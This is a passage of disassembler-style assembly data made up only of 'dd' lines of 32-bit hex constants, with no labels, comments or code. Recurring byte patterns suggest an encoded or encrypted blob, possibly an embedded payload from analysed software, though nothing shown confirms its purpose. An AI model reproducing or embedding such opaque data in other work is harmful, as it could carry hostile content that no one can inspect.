		dd 87B5D664h, 58AFB930h, 0ABB13ADEh, 0D73D3D56h, 8AB13256h
		dd 8556B237h, 78305436h, 52D0E1D9h, 0AEB138D5h,	0D9BE5256h
		dd 0ABB13256h, 0B3D0C5DDh, 2A30C9D7h, 7532B659h, 0BF583256h
		dd 0A4B13256h, 0CEAF519Ch, 37E4CB36h, 4B7D8D30h, 474E53AFh
		dd 0ED5B9EECh, 75B8DB36h, 0E7EA3256h, 1261A189h, 0A1A470C2h
		dd 57B134D9h, 0AB3E3D56h, 0B4B13256h, 0FF05520Bh, 0C970E0D7h
		dd 33D057A3h, 0D4BECE13h, 0AEB1325Eh, 57B3BD59h, 0CAD13256h
		dd 0DF363D37h, 3B13256h, 75B13253h, 6F1FE4B8h, 0A1CCB164h
		dd 4F343D57h, 0BEB13257h, 0ABB13247h, 0C9EB75ADh, 0FB2FB66Fh
		dd 9B598970h, 0E9E04818h, 500BB9D3h, 5BB6D665h,	0D53ACE06h
		dd 0AC5B9C25h, 0D5B120BFh, 0C7F59D56h, 0B71E3919h, 40C2B6EAh
		dd 0D9642225h, 9764BC7Ch, 0F44026Ah, 0AA2BB059h, 0C7583256h
		dd 0CDB13256h, 0B34DF93Eh, 0A0497AACh, 8913E2E6h, 48D8FE38h
		dd 860BB98Eh, 0A4B6D64Fh, 0D5B13AD6h, 0D7055256h, 0E9AD8830h
		dd 39BE6237h, 5DB1324Fh, 0AEB126BFh, 4BBADC56h,	246F076Eh
		dd 0F40A979Dh, 9A0261C1h, 103339Eh, 0C933B905h,	52B6D8F8h
		dd 0AEB137D8h, 0E8BE5256h, 97885385h, 0D5B7DB66h, 43363256h
		dd 0B0691C26h, 933E3D0Eh, 52B13257h, 0AEB125DAh, 463C3D56h
		dd 42B13256h, 0D5B1325Ah, 17F02020h, 89294ADh, 3AE96E95h
		dd 5DB11DBFh, 0EB76CE56h, 57B130AEh, 560E5256h,	0DAA00981h
		dd 0EAB133D1h, 9CD0C756h, 0BAB13242h, 0A5F4F5AFh, 0AEB13257h
		dd 57B135BFh, 9B7F8556h, 74FB7FE4h, 46BB88DDh, 0FE4935BCh
		dd 15005249h, 5DB0B559h, 0CF483256h, 0D3BEE95Dh, 0ABB132EAh
		dd 0D5B138BFh, 5F9E9956h, 9492D85Bh, 81D609F4h,	3C343D88h
		dd 0A1B13256h, 57B133DFh, 0F63ACE56h, 0D5BDDB5Ah, 68C73256h
		dd 5A180E40h, 35A00BD5h, 0D0BEE332h, 0AEB13240h, 57B123BFh
		dd 31B64856h, 761B38A2h, 0A67EC881h, 4BE78D98h,	0C73229BEh
		dd 0D9BE32AEh, 0AEB13253h, 0AFEC31AAh, 0AFEEBBA3h, 0D5A3B859h
		dd 0E7583256h, 40B13256h, 9ACC9CD8h, 9EEE99C3h,	40638590h
		dd 58A5F5D5h, 0ABB135D0h, 0B4D15256h, 8B73B930h, 8A4E6CBFh
		dd 0BABFDBA9h, 11C73256h, 0C1C9A711h, 0DDF97EA7h, 2B5FD0A3h
		dd 0D258F265h, 0CCB13256h
		dd 790792F0h, 5349A8CAh, 5DB13609h, 0AF393DA3h,	0AEB13256h
		dd 0A4AFB930h, 0D5B13FD3h, 6BD75256h, 7A7ADF8Fh, 0BAB132D8h
		dd 203A5356h, 0B83B3D5Ah, 0BEB13256h, 0ABB13247h, 0A476681Eh
		dd 0DC85723Ch, 75414B4Fh, 126A98C4h, 0B64AB240h, 0AEFFB659h
		dd 0BED13256h, 0ABB13246h, 3DDB9B47h, 67ED74D1h, 0D1A01E8Ah
		dd 267AFA6Ch, 5DB13FBFh, 734D6A56h, 13D45FCDh, 0FFB2E975h
		dd 55D05529h, 60D1C2B5h, 953054B4h, 3AD0A202h, 0D9BE42ADh
		dd 0AEB13227h, 57B137BFh, 0A39F1256h, 0C658C2E3h, 13B13257h
		dd 7A583590h, 0BAB133DFh, 1A76C756h, 0AEB13257h, 46595256h
		dd 7DB13256h, 743AF0FAh, 1A5E2887h, 0D26513B0h,	78EBE750h
		dd 1E52B330h, 4631683Fh, 903A5383h, 0ABBFDB36h,	0C32E3256h
		dd 3FA68821h, 0B82F3A27h, 1F1272D9h, 0DED0F1DDh, 24D13796h
		dd 54323DBEh, 0A4B13256h, 3CD0E8E1h, 0EAB1313Dh, 727654AFh
		dd 31D13A59h, 8B3A548Fh, 0B03BCA37h, 57BDBC59h,	12D13256h
		dd 0F812AD70h, 7571B330h, 9631539Dh, 0B2303D59h, 3DB13256h
		dd 0A14FB930h, 0D7D0C0E9h, 2CBEB29Dh, 0D5B13242h, 0EAB13DBFh
		dd 960B9956h, 4C0FFD2Ah, 6E624A3Fh, 0BDCA6474h,	0BEB06DDEh
		dd 0ABB13259h, 0D97E88A9h, 0F7407CF1h, 0A5FEFEE2h, 7D61B69Dh
		dd 5DB13011h, 2DBE3256h, 57B13257h, 0CB76B9AAh,	57BEEBDDh
		dd 0EAB13247h, 75B139BEh, 0C470D056h, 140651CFh, 5C6AF66Dh
		dd 9732530Fh, 0AC353D50h, 0DAB13256h, 0EAB133DAh, 0FED1CE56h
		dd 0A151B3A4h, 3CD9113Eh, 0AEB388BFh, 0D6D7CE56h, 0A421A268h
		dd 0D5B150D2h, 6BD75256h, 7A92BBA5h, 0BAB126D5h, 5DBFDA56h
		dd 0DBEF3256h, 42F4E9DBh, 0E08AA47Bh, 75AAA226h, 6A49530Ch
		dd 0F0BEA268h, 0BAB13218h, 5DB126BFh, 0FF400856h, 0C205764Eh
		dd 0E594CC01h, 9BCE9791h, 0F865046Fh, 0B3054B1h, 0B521A2A9h
		dd 5DB120D2h, 0EF095256h, 31F99D4Ch, 4FC7D2D7h,	0D5A9DB37h
		dd 61493256h, 9C44CA91h, 0BAB13015h, 5DB13BBFh,	6D971B56h
		dd 96C3DFA9h, 293C17B8h, 0D25B9D14h, 0EAB0BD59h, 9C4D3256h
		dd 0BAB13251h, 3F4438F7h, 0FE39FC89h, 0A84964AAh, 411DDFC4h
		dd 0D5A3DB51h, 5A593256h, 0F961C828h, 5A162C56h, 6D527C1Fh
		dd 0D26CFDA7h, 0D3BEF25Dh, 0ABB13269h, 0D5B135BFh, 96D4A756h
		dd 669D443Fh, 31D1FADDh, 0A70E3D8Ch, 0EC03BF37h, 37B6D8F9h
		dd 7B40B330h, 35EB35Ch,	8BA1B727h, 75B18BBFh, 0B63A3D56h
		dd 52B13256h, 0AEB134D2h, 57393D56h, 0FDB13256h, 0D5B6B859h
		dd 8AD13256h, 0BB3A5437h, 537FB937h, 5DB13247h,	0E6B7FCh
		dd 0C634012h, 0F7E79F15h, 8C323DEBh, 8CD15233h,	23B0EDD7h
		dd 54CCF1D7h, 0E3D025FEh, 0E336C477h, 31D16737h, 0B5DEFBD7h
		dd 6F23CD37h, 0E5B6D8FAh, 75B13AD8h, 0B8363D56h, 3DB13256h
		dd 85446F37h, 0D9BE5298h, 0ABB13250h, 0D5B1BC59h, 64BE3256h
		dd 75B13257h, 634653AEh, 5DB8B559h, 25D13256h, 9C305498h
		dd 42D0CB40h, 0D5B13251h, 3A6005E4h, 2BA1040Bh,	0BAB6DB36h
		dd 0A1A73256h, 0A05F9A35h, 57B6DBB5h, 122E3256h, 30218830h
		dd 9732536Ch, 0F0BE33AEh, 0BAB1320Dh, 52F882AFh, 0AEB124DCh
		dd 57A0DB56h, 0E2433256h, 0FB64807Eh, 494ECFDh,	9D6B6097h
		dd 10A8DB81h, 5DB0B959h, 0C8493256h, 0BE343DEEh, 0ABB13258h
		dd 0D36B4A3Ch, 644C6034h, 0DF0D5B0h, 11D7DF2Dh,	5DB9B959h
		dd 25D13256h, 4C0B54A7h, 1DBE5383h, 7E443310h, 0EA33DBAAh
		dd 0F6443256h, 0B5B3CA2Bh, 5DB146D3h, 16D7CA56h, 5058FB5Dh
		dd 0ACB13256h, 0E56AE0A4h, 41D748AFh, 75B134BFh, 9E525056h
		dd 3BCF1F9Bh, 57353DEEh, 0DCD19930h, 0ABA1DAACh, 0E7DB3256h
		dd 0C36591B7h, 87B997D0h, 8C6B3ACBh, 3CD14761h,	18BE530Eh
		dd 0FC483310h, 0ABB13FBFh, 0B9B6DE56h, 0F6ED952Ch, 438B0CDh
		dd 0AA58AEC2h, 0DAB13256h, 3EE00B15h, 353847A4h, 0C1ED673Dh
		dd 3C58EB5Bh, 0EAB13252h, 8C15C1A3h, 3BD1F5DDh,	0C62D1991h
		dd 0CF76B84Ch, 57BFDB36h, 166B3256h, 7AC8DC7Bh,	53812956h
		dd 503E6AB7h, 935E2D7h,	6D0150Fh, 4777B836h, 57B1325Dh
		dd 3E06FDBDh, 92400ABEh, 8BE24D76h, 74333D0Fh, 42B13256h
		dd 0B4D1CB08h, 0AEB1325Bh, 0CE199659h, 49CDFA33h, 5F0D3AB9h
		dd 0E0585287h, 73B13256h, 0CDBB696Dh, 9C6B77A8h, 0F1D053D0h
		dd 5D58FBAAh, 0D4B13256h, 0C9B6EEF8h, 0BE2CD402h, 75B9F0B7h
		dd 314867AEh, 5DB7DBBAh, 23F83256h, 0FA497331h,	0ABA3DB36h
		dd 3FEB3256h, 0F196049Ch, 958331AFh, 3E87DB3Ch,	68A3F00Bh
		dd 0AEB132BEh, 0BD306856h, 0AC5BEE98h, 0D5B123BFh, 0D963E856h
		dd 74DD96C5h, 9F5B8538h, 0EE30BB24h, 25448F88h,	0DEBE3A13h
		dd 0ABB1325Dh, 0A063D36h, 0EAB1BC59h, 0FCD03256h, 501D7DD4h
		dd 5DBBDB51h, 7F0A3256h, 714BAE3Ah, 94EFB1C8h, 223B5237h
		dd 0EAB4B559h, 0F4D73256h, 0DB2C6690h, 4959529Fh, 0E0B13256h
		dd 73B3480Fh, 0B36CE194h, 38A31856h, 98546A71h,	7A359A1Fh
		dd 0BAB132D8h, 0D6D76D56h, 0AA73539Dh, 57B8DB56h, 2C473256h
		dd 7D7CD3A2h, 1371997Eh, 993ACE03h, 4275B1A3h, 5DBBB859h
		dd 2ED13256h, 0D6D74887h, 0CA83E995h, 0C1595236h, 7BB13256h
		dd 45D0B1C1h, 4E989099h, 0A35D7345h, 0A45DBFBAh, 0DCA52704h
		dd 42D16DACh, 0D5B13247h, 0EFDDDA0Fh, 9F4057DEh, 4121A249h
		dd 8A821Dh, 0AE373D29h,	36B13256h, 0ABB1DA37h, 54EB3256h
		dd 6C85BCh, 75A2DB51h, 0F2E53256h, 0D809E854h, 5ECC4CEBh
		dd 0DF174C92h, 807B831Ah, 0C55852C2h, 97B13256h, 0F6C5D01Dh
		dd 8B148BFAh, 0AFF61146h, 0A16F3744h, 57B126DDh, 0ABBFDA56h
		dd 0C07E3256h, 6B6BB7B9h, 1838C448h, 8246AFCDh,	5249530Eh
		dd 0AEB13AD8h, 553C3D56h, 0CBB13256h, 2DF4F537h, 0EAB13256h
		dd 75A2BC59h, 34BE3256h, 5DB1325Bh, 0AEB13ABFh,	5DD73B56h
		dd 0C0C36DC2h, 5ED15213h, 0EF5953ACh, 0E4B13256h, 0C915CA84h
		dd 18765308h, 0AEB132AAh, 9782CB56h, 0ABA0BC59h, 0D9583256h
		dd 3DB13256h, 0FD1DF6F8h, 0AC2D5AD4h, 3B357B30h, 47D12CDDh
		dd 57B1325Eh, 9B8D1D2Ah, 15AB5A46h, 2ED424EFh, 0F7765307h
		dd 0BD5B9C25h, 5DB13257h, 0AEA8B359h, 43583256h, 0C3B13256h
		dd 0B581DEA5h, 0C5C19FFh, 0F5BE9692h, 12AC8FDCh, 3B83D74Eh
		dd 3E21C9D7h, 57BDB759h, 0AC583256h, 68B13256h,	0E3B68D53h
		dd 8E31A6A4h, 47353DBEh, 0A4B13255h, 0AEA2DB16h, 0E6E63256h
		dd 585B0FB5h, 0C8682B80h, 8918DA3Ah, 81A829D1h,	0BD383DD5h
		dd 52B13256h, 0AEB133D5h, 0AC31CB56h, 66353DBFh, 2CB13255h
		dd 0EABEDB16h, 29D3256h, 1C1C2156h, 632EB3EBh, 16ED11A1h
		dd 0BC4AB2F1h, 0A81FB659h, 95493256h, 0EA9DB159h, 9DD13256h
		dd 0BAB13245h, 0DA1ACFA7h, 0F7572AC5h, 20990674h, 0CBA3DD5Ah
		dd 8F0E072Dh, 0EAB139BEh, 92631456h, 11B9A65Bh,	0ED5E6836h
		dd 49315309h, 5258CBA6h, 0ECB13256h, 0A9B2B18Fh, 0E54AB330h
		dd 14353DD6h, 0DAB13255h, 3C7B8D59h, 0B11CB055h, 58D135B2h
		dd 7930E0E1h, 0AE2DE795h, 62BE7237h, 75B13258h,	0A251B336h
		dd 52CAFD22h, 0AEB132DEh, 0AC315356h, 0B1353DB4h, 0B5B13255h
		dd 0F388B9EDh, 1456B83Dh, 0B552C9D6h, 5DB3E6D2h, 2FD7CB56h
		dd 585255ADh, 0ABB3CED2h, 0D0353D56h, 8AB13256h, 1449B930h
		dd 5341D1D6h, 5DB13244h, 9F2AF31Fh, 0E59540D8h,	0E69B8F4Fh
		dd 40A86864h, 61D1300Ch
		dd 8E3153A4h, 67353D26h, 0B4B13254h, 0AEB13253h, 63C857D6h
		dd 0ABB4DBAFh, 0F9583256h, 8C9F337Ah, 7AD12CDDh, 0BAB131D6h
		dd 5C71B256h, 0AEB2B259h, 0A7313256h, 483153ECh, 2E31CBAEh
		dd 0A7353DEEh, 8DB13257h, 0BAA9BF59h, 0D0BE3256h, 0AEB13244h
		dd 57B13FBFh, 0C827F756h, 71EDFD5Ch, 30B4E4F1h,	4B31FE57h
		dd 9F353D53h, 0A1B13257h, 0A19C0CD6h, 57B029D2h, 0AA343D56h
		dd 2CB13256h, 0E5D90CD6h, 75B039D2h, 3BD75256h,	0D624A98Fh
		dd 0CEF15381h, 0C60B5436h, 6A3A5491h, 574E5337h, 0ED5B9C25h
		dd 75B123BFh, 0F0266056h, 4B214755h, 542BC764h,	0FBB281E2h
		dd 20D7C66Fh, 0D5B8DB48h, 75F03256h, 32588FA8h,	3AB388BEh
		dd 3CD1CAB1h, 2F4AB330h, 0EE353DBEh, 0A4B13256h, 0D5B13DD1h
		dd 0EABBDB56h, 642C3256h, 567F09FDh, 0FDCA7F6Bh, 47AFB930h
		dd 57B13244h, 0CE06AD46h, 0C5EE7010h, 2AE17537h, 1023AF3Ah
		dd 5D31B725h, 0DCD752A6h, 0CF39889Dh, 0D64AB330h, 0DE353D96h
		dd 3CB13256h, 0EAB13246h, 46568A4Ah, 12929140h,	697345F8h
		dd 2EEDF95Eh, 0BEE4C736h, 0ABB13245h, 0F66D5813h, 2118F2E5h
		dd 0A7B630F9h, 1BF0BC88h, 0A234F979h, 441D88C4h, 803A5251h
		dd 0F0CAF1D7h, 88D042ACh, 16F4BBAFh, 15D05336h,	7840B330h
		dd 203253A1h, 2BBE33AAh, 57B137E4h, 0ABBEDB36h,	74763256h
		dd 63455DE3h, 8F4BFA95h, 0C9068F42h, 0E5D76309h, 0CFE91DD4h
		dd 64BC88DDh, 21BE35B2h, 0D5B13257h, 62BE62AEh,	75B1325Eh
		dd 296FB336h, 3CF00632h, 0C2B0DDh, 0D6D135BCh, 5E8DCFA4h
		dd 0D5BBDA08h, 1A5C3256h, 0A56E9682h, 25B5D0EDh, 3CEFF8DDh
		dd 52810E6Fh, 18333D0Eh, 53B13253h, 0CC6088DDh,	0BA4935B2h
		dd 75B123BFh, 938FCB56h, 0C422C48Eh, 0C48124F8h, 9CEF05CFh
		dd 293AA58Ch, 0D25B9C25h, 33095436h, 3C52B3EEh,	0DBE03BE4h
		dd 52810E6Fh, 0AEB133D5h, 0F49CE56h, 0AEBDBD59h, 0D3583256h
		dd 10B13256h, 8C8EC74Fh, 3ACA89h, 5A5B9E4Ch, 0B433B1AEh
		dd 43B6D8FAh, 44F38B36h, 62BE53D0h, 0DD38538Ch,	75B6BB59h
		dd 35BE3256h, 5DB13257h, 0BEF6BBAFh, 57B13EBFh,	0D7A92B56h
		dd 0E8D84784h, 0E2D8D47Eh, 705862B0h, 36B13256h, 0D8C0FA96h
		dd 0C2B0DDh, 0DC4835BCh, 0F349024Ah, 0D5BDB459h, 0ED583256h
		dd 3BB13256h, 5EC37C80h, 2387212h, 3D58CA5Eh, 58B13252h
		dd 0ABB13AD0h, 8BE25256h, 0DD808D30h, 8DF4F537h, 0BAB13254h
		dd 5DB13CBFh, 0CA58BA56h, 0D07974EDh, 8181A30h,	3C95224Ah
		dd 0EAB1327Eh, 75BEB759h, 0B0583256h, 42B13256h, 77481313h
		dd 0FD9558EBh, 53F4F52Bh, 0D5B13257h, 0EAB134BFh, 0B4AE9356h
		dd 46645547h, 0F1AB88DDh, 2D4435BCh, 0BD1D28D4h, 23BE2651h
		dd 0D5B13249h, 0EAA8B659h, 61583256h, 0CDB13256h, 97B8FD2Bh
		dd 0AA0FDFC5h, 40E8C7BDh, 1CE7843Ch, 5C669AB4h,	8C495261h
		dd 0F694C3D7h, 0AAF6BB37h, 5E49B1AEh, 0AE8DB759h, 37443256h
		dd 0ABA1BF59h, 0DE583256h, 0E2B13256h, 0C22E4CBh, 8CB784CCh
		dd 990B409Dh, 0CF9A087Eh, 0F9C2B091h, 0ABB335BCh, 3C493256h
		dd 0EAB13274h, 75B0B759h, 0B5483256h, 5DB133D8h, 5632CE56h
		dd 4C3C3D54h, 0CBB13254h, 2CD3F4D7h, 283142B7h,	8325371h
		dd 3EBE32AEh, 5DB132FAh, 0E8073DAFh, 56383D57h,	52B13256h
		dd 0D5319BAAh, 6FBE3256h, 75B13201h, 0BAB138BFh, 0E9868D56h
		dd 7B543FE8h, 176A0D51h, 0ABBBDA36h, 0B3A63256h, 0BF5D142Eh
		dd 0F91829E1h, 0BAB1B959h, 3BEA3256h, 0DE89FAD7h, 5259B137h
		dd 0ABB6B759h, 5ABE3256h, 0EAB13257h, 758FDBA3h, 0B5D13256h
		dd 5DB13FDBh, 0AEB9DB56h, 0BE5B3256h, 4543F9E0h, 0F8D03BC6h
		dd 0EAB132A9h, 7059B1AFh, 0BAABB059h, 0D2BE3256h, 0AEB13242h
		dd 57B13DBFh, 8E4B8756h, 0B88FE754h, 0E04B4ADCh, 0B49F39A6h
		dd 0BAB169BFh, 5DBBDB56h, 494C3256h, 7A7507A8h,	8F340B99h
		dd 0C7393D05h, 0E5B13256h, 75B13EDDh, 0BAB6DB56h, 0EEA3256h
		dd 35D2CA1h, 242BB9EFh,	42B6D8F8h, 0D5B13247h, 3DDF53CFh
		dd 0E68606C9h, 0CE9B189Eh, 5E4ABA9Dh, 9DB5B962h, 57BDBD59h
		dd 0AC583256h, 8B13256h, 1EE027C7h, 8CEAB08Dh, 0BAB132FFh
		dd 21343DD6h, 0A1B13256h, 57B13FDFh, 0ABB9DB56h, 0AC423256h
		dd 38E0796Ch, 0B3B2FFEEh, 39D0C736h, 5E4D3796h,	441F41D4h
		dd 5F303D51h, 0A4B13256h, 0D5B130D7h, 0A2D05256h, 75B13EBFh
		dd 4E46CB56h, 954C8E47h, 9E4F5A32h, 5FF6BB54h, 0A7F6BBAFh
		dd 0D5B123BFh, 15569656h, 79990177h, 52300E78h,	379BBA32h
		dd 9D5811BDh, 37B13254h, 8BA51CEDh, 800E526Ah, 0E58CC8B5h
		dd 14D0C0E1h, 0BC458836h, 0AAD06F1Dh, 689AC78Eh, 0AB69C5A3h
		dd 0ABB126BFh, 75B9E156h, 868BE22Eh, 0E2662469h, 7F761CEFh
		dd 96DF9F5Dh, 0AB71B19Ch, 243331A3h, 57B6D8F8h,	0D5B13CBFh
		dd 0B28F7456h, 5F344D94h, 0C0A18073h, 15C9A8D5h, 66063D36h
		dd 0DED0C7DCh, 2FBE3A11h, 0D5B1324Fh, 0EAA2BF59h, 7B583256h
		dd 0E5B13256h, 98287A87h, 85E64AFBh, 15110095h,	0A7F6BB7Fh
		dd 0D5B13BBFh, 0EFE45856h, 62809091h, 21584A44h, 52B13257h
		dd 0AEB133D8h, 9782CE56h, 0ABB135BFh, 9BFCBC56h, 41D0BE09h
		dd 7AB074DCh, 0BAB12BD9h, 5DA5DB56h, 0EC8A3256h, 0BE73D8D4h
		dd 0EEAF1C48h, 4157CFECh, 2D085C7Dh, 89D1DA30h,	0DBD1CB36h
		dd 0DD195337h, 0AE6AB759h, 58583256h, 28B13256h, 46F12D8Ch
		dd 3BE72A75h, 311DB2B7h, 7CB2979Eh, 45373DAEh, 47B13256h
		dd 57B13245h, 20EF453Ch, 9C0A7FABh, 4DFC23D1h, 0CCF2357Fh
		dd 391B9354h, 0E6493096h, 0AEB13257h, 586A39AEh, 0ABB179D2h
		dd 50BE5256h, 0EAB13254h, 0BC306807h, 911365DEh, 152BB837h
		dd 47B6DB85h, 57B1325Bh, 0A3E2ECE7h, 0ADCC0476h, 6A1A5A51h
		dd 7452B240h, 0BAB13ABFh, 0E4D5456h, 0A5B10DD0h, 5C5852C8h
		dd 56B13256h, 5C8F6B5Ch, 41C3AD73h, 144826B4h, 0DAD1F155h
		dd 425AB330h, 0CFD05232h, 5FF6BB37h, 0ABB13CBFh, 0B9EE5C56h
		dd 0DDEC3164h, 4C124694h, 332B9627h, 0B4483E11h, 0AEB132C0h
		dd 57A6B859h, 0B9583256h, 45B13256h, 96EF1C08h,	0F78075EEh
		dd 0DF749361h, 9B5FE23Ah, 0CE69C5A2h, 57B13CBFh, 70273F56h
		dd 0DFC89162h, 0D6C8AFEBh, 1474310Ch, 0BAB1CD73h, 5DA1DB56h
		dd 0F99A3256h, 0DAC81ED2h, 0D8BBBDC1h, 0A3A80FF6h, 2C9A874Ah
		dd 75A0B859h, 0B6583256h, 0C4B13256h, 0FEBA702Ch, 0D879EC92h
		dd 5C4E1D43h, 0D43B3D8Eh, 1FB13256h, 80B3F2D5h,	53B975DFh
		dd 5DB13246h, 0B9FEDBA3h, 0E9EDDB46h, 0B786A533h, 0B57F55F2h
		dd 0E5BD75DFh, 75B133D8h, 0DA49CE56h, 0E953FFD6h, 0A1D0534Ch
		dd 57B133DFh, 5378CB56h, 2DE4CE95h, 0E158DEDDh,	0BAB13256h
		dd 35E4A6CEh, 25645E8Eh, 0BA582A79h, 0B8B13256h, 32643D49h
		dd 0B424045Eh, 497D5A84h, 15F53687h, 3951C02Bh,	0DEBECE92h
		dd 0AEB13246h, 57B139BFh, 69C73556h, 0FFF95E2Bh, 0ADC371FCh
		dd 0FED75236h, 0F46B39Dh, 3CC4CA28h, 0AEB132BEh, 0BD306856h
		dd 0AC5BD538h, 0D5B0B759h, 13483256h, 72313DAFh, 0DAB13256h
		dd 0E2BE77E1h, 143A53ACh, 505B9E5Ch, 0A47801AFh, 0D5B13CDEh
		dd 8BD15256h, 75B137BFh, 154E4756h, 0DED0E820h,	2ABE3269h
		dd 57B13666h, 0CA5DB836h, 3CD135DDh, 0EAB1325Ah, 41352D68h
		dd 613691CCh, 9365F081h, 0CF4F8D59h, 58BD47A9h,	0ABB121D5h
		dd 0D5BFDB56h, 95333256h
		dd 2A9F7313h, 0DB69F87Ah, 0C3C61829h, 0CEB947A9h, 57B7B959h
		dd 23BE3256h, 0D5B13256h, 8B46B930h, 1659C706h,	53B1325Eh
		dd 5DB13250h, 6D5CC40Ch, 97BA1E9Ah, 0ABBBB759h,	5E493256h
		dd 0CD58CA51h, 8DB13256h, 42A5F5D5h, 0A24E4CBFh, 2BBE52A9h
		dd 57B13258h, 0ABB13BBFh, 0D1904456h, 0FEB593C2h, 7AD04781h
		dd 0BAB133DFh, 1838CE56h, 254452AAh, 224E53AEh,	0A53F3D5Ah
		dd 0B5B13256h, 77DC5D7h, 0FEBE3949h, 0BAB13256h, 55C4CD37h
		dd 0AEB137BFh, 4C5F6D56h, 9C4E6380h, 0D25DDAA3h, 0E6583256h
		dd 4AB13256h, 0AC734BFDh, 7F61022Ah, 0A57B9C53h, 77353D96h
		dd 53B13256h, 0D5B275BFh, 0FE58CE56h, 92B13256h, 0D7176F96h
		dd 1B3B29D4h, 0A826CC6Fh, 0A1FF2013h, 20BC552Fh, 5DBECE13h
		dd 0EAB13257h, 7AB60BA3h, 0BAB229D4h, 4E585256h, 0F0B13256h
		dd 215F32EAh, 0E421B65Dh, 0A7D4D902h, 55714B9Fh, 0BE30EA7Eh
		dd 0CB7E46CFh, 0A1F4CD37h, 0AEB123BFh, 0B7B2F556h, 7CE1A683h
		dd 0F805CE37h, 0E2CC3429h, 0A32C66Ch, 3EBE3252h, 5DB1324Fh
		dd 0A2CEB1AEh, 59353D56h, 57B13256h, 0D5B16ABFh, 53D75256h
		dd 9E016E73h, 454E8A37h, 4C58CDA9h, 1CB13256h, 8870047h
		dd 0DB059332h, 12BE1395h, 914036BAh, 75B13CBFh,	9F4EF956h
		dd 612441A3h, 6F12CE80h, 0EE89B87Bh, 0ABB13253h, 0D5B134BFh
		dd 8346E656h, 86AE82F9h, 0BAB4DBFDh, 8F7E3256h,	47D18880h
		dd 0A84ECC88h, 0BBCEB1AFh, 0B5353D53h, 0E5B13256h, 75B133D5h
		dd 0C532CE56h, 0D8BE3446h, 0AEB13228h, 727CB236h, 0ABB121BFh
		dd 0F21E6456h, 0CB9298DCh, 945423B9h, 4A2C589Ah, 81E4D9F2h
		dd 254D7337h, 0D7D13611h, 4D305D8Dh, 0E847BCAFh, 0E6EEB937h
		dd 75B0B159h, 53443256h, 5DB133CCh, 0AEB13CBFh,	0F4867656h
		dd 53C27084h, 1BDEDDC9h, 6119294Eh, 0FE443611h,	0DCD13E09h
		dd 0D6D7E4DDh, 0DE5853A8h, 0BEB13257h, 0ABB13251h, 0FF75EEF3h
		dd 3B94C18h, 75B1325Ch,	0AF31F2C2h, 6A63E42Ch, 0E93A4827h
		dd 83ACE52h, 0AA3D3D5Ah, 2CB13256h, 0E5B96D6Dh,	75B18BD3h
		dd 3FBEC756h, 5DB13257h, 2DBE60AFh, 57B1325Ah, 0ABB7BB59h
		dd 52BE3256h, 0EAB13256h, 89B565DDh, 4FA1677Dh,	0B4A56755h
		dd 0AEB1325Fh, 3ACF1F9Bh, 4230AD9Ch, 55BE5245h,	0EAB13253h
		dd 1276B330h, 0BABBDB8Fh, 40EE3256h, 38CAD9D4h,	9471FFDFh
		dd 0A7EEB937h, 0D5BDDB36h, 45BD3256h, 0B6C06C6Bh, 790171E6h
		dd 5058F0B7h, 0A2B13256h, 7FD5BA18h, 4D746A51h,	0BAC080FAh
		dd 136B1937h, 0C8568D36h, 39D06634h, 74937BDh, 0AE3EDBAEh
		dd 0DDBE3256h, 0ABB13258h, 0D5B13BBFh, 3107CB56h, 0D4BF4E42h
		dd 0A958B368h, 74B13256h, 41A1BF3Eh, 7870A7C0h,	0ED4484BDh
		dd 0F9AC2B04h, 0AD3ACC56h, 0CFD75252h, 5D3BF177h, 51EEB937h
		dd 0AEB0BB59h, 7C493256h, 28483609h, 0C45837BDh, 51B13256h
		dd 0D6D026D8h, 51B1ED02h, 0A0632617h, 0D6958258h, 9831CB36h
		dd 21B253A5h, 0D25502E3h, 0EAB13CBFh, 0A2E67656h, 0C8E68B88h
		dd 0BCC3FF85h, 0A1E48D35h, 57B13ED3h, 0AD3D3D56h, 0DAB13256h
		dd 0EAB132D2h, 65CEB156h, 0A2343D55h, 3DB13256h, 0AC383DAFh
		dd 0DCB13256h, 52F05380h, 0D5B134BFh, 0D5A10F56h, 5E37857Ch
		dd 0E638C78Fh, 0E5493357h, 514ECDA9h, 8E0E3D36h, 0ABB3BE59h
		dd 8EE23256h, 0EAB48B37h, 0FFBE3256h, 0BAB1324Fh, 5DA2B259h
		dd 0A0583256h, 0C6B13256h, 594ADBAFh, 66BA91E8h, 5DDF89Eh
		dd 151AC1A4h, 0BAA2DAAFh, 0B65C3256h, 0A889852Ah, 7ACA8A86h
		dd 0C62498BAh, 48BD3FB9h, 0B2E860A4h, 893DDB37h, 0B5D1CDA9h
		dd 5DB126DEh, 0AEBEDB56h, 9D113256h, 0DA2E48A2h, 0EFD1804h
		dd 0F4CA01ECh, 145782DEh, 0BABBDB37h, 0E3623256h, 84D83AC4h
		dd 0FA815D67h, 0ABBFDB9Fh, 0C4B33256h, 2F70B9F4h, 8C4C6D13h
		dd 7545Bh, 52B12294h, 0AEB133DBh, 0ABE4CE56h, 0FCD1DEDDh
		dd 0D5B137BFh, 365FB456h, 7AEE5711h, 0BAB134DDh, 5D353D56h
		dd 0CFB13256h, 57B13FBFh, 6EC31B56h, 0DF2B97DEh, 9DAAA7C6h
		dd 0B132857Fh, 0B5D152AAh, 0DEBEF3E9h, 0AEB13256h, 37D0CB37h
		dd 0BE3C3DAEh, 0DAB13256h, 0EAB13DD8h, 75BBDB56h, 66DB3256h
		dd 0F4718175h, 0A9B39D9Dh, 57B132BEh, 41306856h, 0D25BDE24h
		dd 503ACEAEh, 725B9E5Ch, 0BABDB759h, 5A583256h,	6B13256h
		dd 0A745EA51h, 62825AE3h, 0D58EB1AAh, 0E93EB659h, 7B583256h
		dd 0AEB13256h, 0FD4F6A6Ch, 3FB53E88h, 0A8A14F08h, 42B6B9C6h
		dd 0D5B1325Bh, 0C9D0A612h, 4115E9F0h, 0D767ED2Ch, 51C4CDA4h
		dd 3347B336h, 58E8B211h, 0A4D0F2E9h, 0D5B126D2h, 0EABEDB56h
		dd 31A73256h, 0FBDDD64Ch, 0F80E41C1h, 8CF4E4B1h, 5FC4CDBEh
		dd 0ABB138BFh, 0BB8BA856h, 496EDF0Ch, 25D7CF6Ch, 0BAB126BFh
		dd 0C7B0D256h, 0C691C838h, 5A5D4C1Ch, 8DF9EA6Dh, 0A28EA1AAh
		dd 0E9F9DACBh, 7E493256h, 0A1343D96h, 0A5B13256h, 0AB5835DDh
		dd 89B13256h, 4E80B2EAh, 0D5B110BFh, 213A5256h,	22F715E8h
		dd 7D32536Dh, 0B4D05242h, 514ECD1Fh, 57B8B059h,	0CDD13256h
